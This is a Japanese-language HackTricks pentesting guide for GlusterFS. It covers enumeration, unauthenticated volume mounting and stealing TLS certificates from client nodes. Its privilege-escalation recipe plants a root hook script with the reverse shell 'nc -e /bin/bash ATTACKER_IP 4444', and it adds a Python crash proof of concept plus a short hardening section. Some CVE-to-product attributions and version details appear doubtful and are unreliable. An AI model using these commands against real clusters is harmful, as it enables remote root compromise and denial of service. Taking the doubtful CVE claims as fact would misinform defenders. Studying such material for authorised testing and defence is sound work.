24007-24008-24009-49152 - Pentesting GlusterFS
Reading time: 7 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
GlusterFSは、複数のサーバーからのストレージを1つの統一された名前空間に統合する分散ファイルシステムです。管理デーモン(glusterd
)はデフォルトで24007/TCPでリッスンし、49152/TCPから始まるデータプレーンブリックに指示を出します(ブリックごとに1つのポート、増加します)。9.x以前のバージョンでは、ブリックトランスポートに24008–24009/TCPを使用していたため、レガシークラスターではこれらのポートにまだ遭遇することがあります。
PORT STATE SERVICE VERSION
24007/tcp open glusterd GlusterFS (RPC)
49152/tcp open gluster-brick SSL (TLS optional)
Tip: 24007は、ストレージ専用ノードがボリュームをエクスポートしていない場合でもRPC呼び出しに応答します。したがって、このサービスは大規模なインフラストラクチャ内で信頼できるピボットターゲットです。
Enumeration
攻撃用ボックスにクライアントユーティリティをインストールします:
sudo apt install -y glusterfs-cli glusterfs-client # Debian/Ubuntu
- ピア発見とヘルス
# List peers (works without authentication in default setups)
gluster --remote-host 10.10.11.131 peer status
- ボリュームの偵察
# Retrieve the list of all volumes and their configuration
gluster --remote-host 10.10.11.131 volume info all
- 特権なしでマウント
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/gluster
マウントが失敗した場合は、クライアント側の /var/log/glusterfs/<vol_name>-<uid>.log
を確認してください。一般的な問題は次のとおりです:
- TLS 強制 (
option transport.socket.ssl on
) - アドレスベースのアクセス制御 (
option auth.allow <cidr>
)
証明書のトラブルシューティング
認可されたクライアントノードから以下のファイルを盗み、 /etc/ssl/
(またはエラーログに表示されているディレクトリ)に配置します:
/etc/ssl/glusterfs.pem
/etc/ssl/glusterfs.key
/etc/ssl/glusterfs.ca
既知の脆弱性 (2022-2025)
CVE | 影響を受けるバージョン | 影響 | ノート |
---|---|---|---|
CVE-2022-48340 | 10.0–10.4, 11.0 | dht_setxattr_mds_cbk における使用後解放がネットワーク経由で到達可能 | リモート DoS およびおそらく RCE。10.4.1 / 11.1 で修正済み。 |
CVE-2023-26253 | < 11.0 | FUSE 通知ハンドラーにおけるバッファオーバーラン読み取り | 作成された FS 操作によるリモートクラッシュ; 公開 PoC あり。 |
CVE-2023-3775 | < 10.5 / 11.1 | gluster_shared_storage をマウントする際の不正な権限検証 | 認証されていないクライアントが管理ボリュームをマウントできる – 以下に説明する priv-esc につながる。 |
常に
gluster --version
を すべてのノード で確認してください; 部分的なアップグレード後は異種クラスターが一般的です。
gluster_shared_storage
の悪用 (特権昇格)
最近のバージョンでも、多くの管理者は地理的レプリケーションを簡素化するために特別な gluster_shared_storage
ボリュームを世界読み取り可能にしています。このボリュームには、すべてのノードで root として実行される cronjob テンプレートが含まれています。
# 1. Mount admin volume anonymously
mkdir /tmp/gss && sudo mount -t glusterfs 10.10.11.131:/gluster_shared_storage /tmp/gss
# 2. Drop malicious script that gets synchronised cluster-wide
cat <<'EOF' > /tmp/gss/hooks/1/start/post/test.sh
#!/bin/bash
nc -e /bin/bash ATTACKER_IP 4444 &
EOF
chmod +x /tmp/gss/hooks/1/start/post/test.sh
# 3. Wait until glusterd distributes the hook and executes it as root
hooks/1/
が存在しない場合は、/ss_bricks/
を探してください - 正確なパスはメジャーバージョンによって異なる場合があります。
サービス拒否 PoC (CVE-2023-26253)
#!/usr/bin/env python3
# Minimal reproducer: sends malformed NOTIFY_REPLY XDR frame to 24007
import socket, xdrlib, struct
p = xdrlib.Packer(); p.pack_uint(0xdeadbeef)
with socket.create_connection(("10.10.11.131",24007)) as s:
s.send(struct.pack("!L", len(p.get_buffer())|0x80000000))
s.send(p.get_buffer())
glusterfsd
< 11.0を実行するとクラッシュします。
ハードニングと検出
- アップグレード – 現在のLTSは11.1(2025年7月)です。上記のすべてのCVEは修正されています。
- すべてのブリックに対してTLSを有効にします:
gluster volume set <vol> transport.socket.ssl on
gluster volume set <vol> transport.socket.ssl-cert /etc/ssl/glusterfs.pem
- CIDRリストでクライアントを制限します:
gluster volume set <vol> auth.allow 10.0.0.0/24
- 管理ポート24007をプライベートVLANまたはSSHトンネルを通じてのみ公開します。
- ログを監視します:
tail -f /var/log/glusterfs/glusterd.log
およびaudit-log機能を構成します(volume set <vol> features.audit-log on
)。
参考文献
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。